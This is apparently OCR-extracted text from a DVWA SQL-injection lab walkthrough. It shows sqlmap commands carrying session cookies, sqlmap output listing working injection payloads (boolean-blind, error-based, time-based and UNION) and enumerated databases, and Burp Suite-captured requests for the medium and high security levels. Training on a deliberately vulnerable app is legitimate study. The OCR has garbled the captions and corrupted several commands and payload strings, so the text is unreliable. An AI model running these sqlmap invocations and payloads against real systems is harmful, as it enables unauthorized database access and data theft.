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Vulnerability: SQL Injection

User ID:| || submit |
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Vulnerability: SQL Injection

User ID: | || Submit |
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First name: admin
Surname: admin
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http://xxx/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

H## 7 Cookie /5 i FHSQLMapyE AR ] :

sqlmap -u "http://xxx/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=1ow;PHPSESSID=t3tlero@s
2ndmdmef7v2b2617i"
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sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1" OR NOT 3088=3088#&Submit=Submit

Type: error-based
Title: MySQL = 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1" AND GTID_SUBSET(CONCAT(@x71766a6271,(SELECT (ELT(9822=9822,1))),0=x7171716271),9822)-— MOHP&Submit=Submit

Type: time-based blind
Title: MySQL 2 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1" AND (SELECT 6506 FROM (SELECT(SLEEP(5)))ZMUR)-— Zcux&Submit=Submit

Type: UNION query

Title: MySQL UNION query (NULL) - 2 columns

Payload: id=1" UNION ALL SELECT NULL,CONCAT(@0x71766a6271,0x545546664C7a45534b59567a4Cc67744e7951687652 6 f745266584f7a
7969484255616€5941,0x7171716271 )#5Submit=Submit e
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sglmap -u "http://xxx/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=1ow;PHPSESSID=t3tlero@s
2ndmdmef7v2b2617i" -dbs
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available databases [7]:
dedecmsv57utf8sp2
dedecmsv57utf8sp223
dvwa
information_schema
mysql
performance_schema
Sys
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Vulnerability: SQL Injection
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ID: 1
First name: admin
Surname: admin

AUEAZLFAIRER, RIWRPOSTES4, (EfBurpSuited M #E &

| Forward || Drop ) | Interceptis on | | Action

JRawT Params T Headers T Hex ]

1 POST /dvwa/vulnerabilities/sqli/ HTTP/1.1

2 Host: 10.203.87.166

Content-Length: 18

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Reguests: 1

6 Origin: http://10.203.87.166

7 Content-Type: application/x-www-form-urlencoded

8 User-hAgent: Meozilla/5.0 (Macintosh; Intel Maec 0S X 11 2 2) AppleWebKit/537.36 (EHTML, like Gecko) Chrome/89.0.4389.
9 Accept: text/html,application/xhtml+xml,application/xml;qg=0.%,image/avif,image/webp,image/apng,*/*;q=0.8,applicatic
10 Referer: http://10.203.87.166/dvwa/vulnerabilities/sgli/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CHN,zh;g=0.9

13 Cookie: security=medium; PHPSESSID=t3tlercols2ndmdmef7vib26171

14 Connection: close
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16 id=1l&Submit=Submit
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POST /dvwa/vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
Host: 10.203.87.166

Content-Length: 18

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.203.87.166

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 11_2_2) AppleWebKit/537.36 (I
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/y
Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/cookie-input.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.9

Cookie: id=1%; security=high; PHPSESSID=t3tlero@s2ndmdmef7v2b26171i

Connection: close
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sqlmap -r /root/HEMH/1.txt --data id
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sqlmap resumed the following injection point(s) from stored session:
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Vulnerability: SQL Injection

Click
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| || Submit |
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Session ID: 1

| || Submit |
Close
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Vulnerability: SQL Injection

Click

ID: 1
First name: admin
Surname: admin
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Raw | Params | Headers | Hex

1 POST /dvwa/vulnerabilities/sgli/session-input.php HTTP/1.1

Host: 10.203.87.166

Content-Length: 18

Cache=Control: max-age=0

Upgrade=-Insecure-Requests: 1

Origin: http://10.203.87.166

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 11_2 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;g=0.9%,6image/avif, image/webp,image/apng,*/*;g=0.8, application/signed-exchange;v=b3;g=0.9%
10 Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli/session-input.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zhj;g=0.%

13 Cookie: security=high; PHPSESSID=7dkpikcpglieBfu3samniiinfv

14 Connection: close

15

16 id=l&Submit=Submit|
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sqlmap -r /root/HEiH/1.txt --cookie="security=high; PHPSESSID=7dkp4kopql4e88u38amn47infv" --second-url="http://1
0.203.87.166/dvwa/vulnerabilities/sqli/"
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